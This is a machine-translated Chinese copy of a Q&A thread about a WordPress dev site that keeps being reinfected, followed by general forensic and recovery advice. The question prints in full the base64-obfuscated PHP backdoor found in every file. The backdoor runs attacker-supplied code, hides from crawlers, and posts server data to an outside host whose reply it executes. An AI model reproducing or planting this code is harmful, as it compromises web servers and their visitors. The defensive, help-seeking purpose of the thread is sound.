
[英]My site is infected with obfuscated PHP malware - what is it doing + how do I get rid of it?
[英]Password protected WordPress site with tagDiv Newspaper theme gets infected by malware
我正在一个 WordPress 网站上工作,该网站每 x 周就会被恶意软件感染一次,但我们找不到导致问题的原因。 一些背景资料:
该网站位于受密码保护的单独开发域中。 在开发过程中,我们会在有可用更新时更新软件。 发生的情况是,在随机数周后,当我们尝试访问该网站时,我们会被重定向到垃圾邮件站点。 网站本身在第一次访问时变得非常慢,之后速度再次合理。 我们只有 1 个管理员帐户和几个编辑在网站上工作以传输内容。 因此,只有少数受信任的人可以访问该站点。
我们的托管公司会筛选/扫描恶意软件,但似乎为时已晚,无法阻止原因。
我们只安装了少数看起来合法的插件。 下面是一个列表:
所有插件和 WordPress 本身都会一直更新到最新的可用版本。
我们已经安装了 tagDiv Newspaper 主题 10.0 版,但之前的版本也存在问题。 每次重新安装 WordPress 网站时,我们都会删除所有文件和整个数据库,并要求托管公司仔细检查我们遗漏的文件。 我们在同一台服务器上运行的其他站点没有任何问题,因此问题似乎仅限于 dev/wordpress 站点。 在每次清理期间,我们都重置了所有相关密码(数据库、ftp)。 tagDiv 报纸主题似乎多次成为恶意软件注入的目标,因此这是一个危险信号。 不幸的是,已经做了很多工作,改变主题会出现问题,而且我不是 100% 是主题导致问题。
感染后,所有 *.php 文件在每个 .php 文件的顶部都有这个额外的 php 代码:
<?php /*8968665*/ error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval( base64_decode('aWYobWQ1KCRfUE9TVFsicGYiXSkgPT09ICI5M2FkMDAzZDdmYzU3YWFlOTM4YmE0ODNhNjVkZGY2ZCIpIHsgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsiY29va2llc19wIl0pKTsgfQppZiAoc3RycG9zKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddLCAicG9zdF9yZW5kZXIiICkgIT09IGZhbHNlKSB7ICRwYXRjaGVkZnYgPSAiR0hLQVNNVkciOyB9CmlmKCBpc3NldCggJF9SRVFVRVNUWydmZGdkZmd2diddICkgKSB7IGlmKG1kNSgkX1JFUVVFU1RbJ2ZkZ2RmZ3Z2J10pID09PSAiOTNhZDAwM2Q3ZmM1N2FhZTkzOGJhNDgzYTY1ZGRmNmQiKSB7ICRwYXRjaGVkZnYgPSAiU0RGREZTREYiOyB9IH0KCmlmKCRwYXRjaGVkZnYgPT09ICJHSEtBU01WRyIgKSB7IEBvYl9lbmRfY2xlYW4oKTsgIGRpZTsgIH0KCi8vaWYgKHN0cnBvcygkX1NFUlZFUlsiSFRUUF9VU0VSX0FHRU5UIl0sICJXaW4iICkgPT09IGZhbHNlKSB7ICRramRrZV9jID0gMTsgfQplcnJvcl9yZXBvcnRpbmcoMCk7CmlmKCEka2pka2VfYykgeyBnbG9iYWwgJGtqZGtlX2M7ICRramRrZV9jID0gMTsKZ2xvYmFsICRpbmNsdWRlX3Rlc3Q7ICRpbmNsdWRlX3Rlc3QgPSAxOwokYmtsamc9JF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdOwokZ2hmanUgPSBhcnJheSgiR29vZ2xlIiwgIlNsdXJwIiwgIk1TTkJvdCIsICJpYV9hcmNoaXZlciIsICJZYW5kZXgiLCAiUmFtYmxlciIsICJib3QiLCAic3BpZCIsICJMeW54IiwgIlBIUCIsICJXb3JkUHJlc3MiLiAiaW50ZWdyb21lZGIiLCJTSVNUUklYIiwiQWdncmVnYXRvciIsICJmaW5kbGlua3MiLCAiWGVudSIsICJCYWNrbGlua0NyYXdsZXIiLCAiU2NoZWR1bGVyIiwgIm1vZF9wYWdlc3BlZWQiLCAiSW5kZXgiLCAiYWhvbyIsICJUYXBhdGFsayIsICJQdWJTdWIiLCAiUlNTIiwgIldvcmRQcmVzcyIpOwppZiggISgkX0dFVFsnZGYnXSA9PT0gIjIiKSBhbmQgISgkX1BPU1RbJ2RsJ10gPT09ICIyIiApIGFuZCAoKHByZWdfbWF0Y2goIi8iIC4gaW1wbG9kZSgifCIsICRnaGZqdSkgLiAiL2kiLCAkYmtsamcpKSBvciAoQCRfQ09PS0lFWydjb25kdGlvbnMnXSkgIG9yICghJGJrbGpnKSBvciAoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddID09PSAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIG9yICgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSA9PT0gIjEyNy4wLjAuMSIpICBvciAoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gPT09ICRfU0VSVkVSWydTRVJWRVJfQUREUiddKSBvciAoJF9HRVRbJ2RmJ10gPT09ICIxIikgb3IgKCRfUE9TVFsnZGwnXSA9PT0gIjEiICkpKQp7fQplbHNlCnsKZm9yZWFjaCgkX1NFUlZFUiBhcyAkbmRidiA9PiAkY2JjZCkgeyAkZGF0YV9uZmRoLj0gIiZSRU1fIi4kbmRidi4iPSciLmJhc2U2NF9lbmNvZGUoJGNiY2QpLiInIjt9CiRjb250ZXh0X2poa2IgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoCmFycmF5KCdodHRwJz0+YXJyYXkoCiAgICAgICAgICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAnMTUnLAogICAgICAgICAgICAgICAgICAgICAgICAnaGVhZGVyJyA9PiAiVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggaTY4NjsgcnY6MTAuMC45KSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzEwLjAuOV8gSWNld2Vhc2VsLzEwLjAuOVxyXG5Db25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIiwKICAgICAgICAgICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLAogICAgICAgICAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gIlJFTV9SRU09JzEnIi4kZGF0YV9uZmRoCikpKTsKJHZrZnU9ZmlsZV9nZXRfY29udGVudHMoImh0dHA6Ly9ub3J0c2VydmlzLm5ldC9zZXNzaW9uLnBocD9pZCIsIGZhbHNlICwkY29udGV4dF9qaGtiKTsKaWYoJHZrZnUpIHsgQGV2YWwoJHZrZnUpOyB9IGVsc2Uge29iX3N0YXJ0KCk7ICBpZighQGhlYWRlcnNfc2VudCgpKSB7IEBzZXRjb29raWUoImNvbmR0aW9ucyIsIjIiLHRpbWUoKSsxNzI4MDApOyB9IGVsc2UgeyBlY2hvICI8c2NyaXB0PmRvY3VtZW50LmNvb2tpZT0nY29uZHRpb25zPTI7IHBhdGg9LzsgZXhwaXJlcz0iLmRhdGUoJ0QsIGQtTS1ZIEg6aTpzJyx0aW1lKCkrMTcyODAwKS4iIEdNVDsnOzwvc2NyaXB0PiI7IH0gO307CiB9CiB9')); @ini_restore('error_log'); @ini_restore('display_errors'); /*8968665*/ ?><?php
据我所知,数据库似乎没有受到影响。
在网站的根目录中,创建了文件名为 PayPAl2019.zip 的目录 pl 和许多似乎处理某种付款的子文件夹。 我可以找到的文件中的 IP 引用指向 ip : ^64.106.213.* 属于 DataPipe, Inc.
在 WordPress 目录的根目录中创建的文件是 588eqpn7.php、u9hwrd7d.php 和 shell.php。 最后一个文件被任何病毒扫描程序识别为木马:Trojan:Script/Casur.A!cl。
文件的一些日期戳也很奇怪。 比如2018年,那个时候开发网站还不存在?
我对服务器的 ssh 访问权限有限,但没有权限执行一些需要的命令来深入挖掘。
我的问题是:
仅凭您所说的内容就很难感觉到到底发生了什么。 根据密码保护和您的设置,某些情况比其他情况更有可能。 如果您使用例如来自 Apache 的基本身份验证模块,攻击者将不得不绕过它或通过其他方式进行访问(同一台机器上的另一个主机,这可能暗示错误设置权限或主机被盗等) . 如果有应用程序级别的密码保护(例如通过 WordPress),它可能不会阻止对某些易受攻击的资源的访问。
您描述的“重新感染”可能是由于持续的后门(或未修补的易受攻击的组件)造成的,因此这也不容易判断。
通常,如果我对安装进行取证分析,我会从随机命名的文件开始,然后查看访问它们的时间和类型。 从那里我会得到关于攻击者做了什么的暗示,并且可能对最初妥协的时间框架有一个粗略的想法。 这样就可以轻松恢复到已知良好的备份,而不会浪费太多时间。
在这种情况下,a) 重建基础设施(或在这种情况下的应用程序)或如果可用 b) 从已知良好的备份恢复是有意义的。 令人震惊的是,有多少托管商没有可用的备份或备份不足,以及有多少客户选择了低价而非(数据)安全性。
为了安全起见,您可以下载安装副本并在单独的文件夹中重建快速而肮脏的安装,然后将两个文件夹相互比较并找出差异(这些可能来自攻击者或手动配置/开发)。 这是一个关于您想投资多少时间来重建多少安装的经济问题。 如果你花的时间太少,而攻击者又回来了,那你就不走运了。
...另外,做你的备份。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.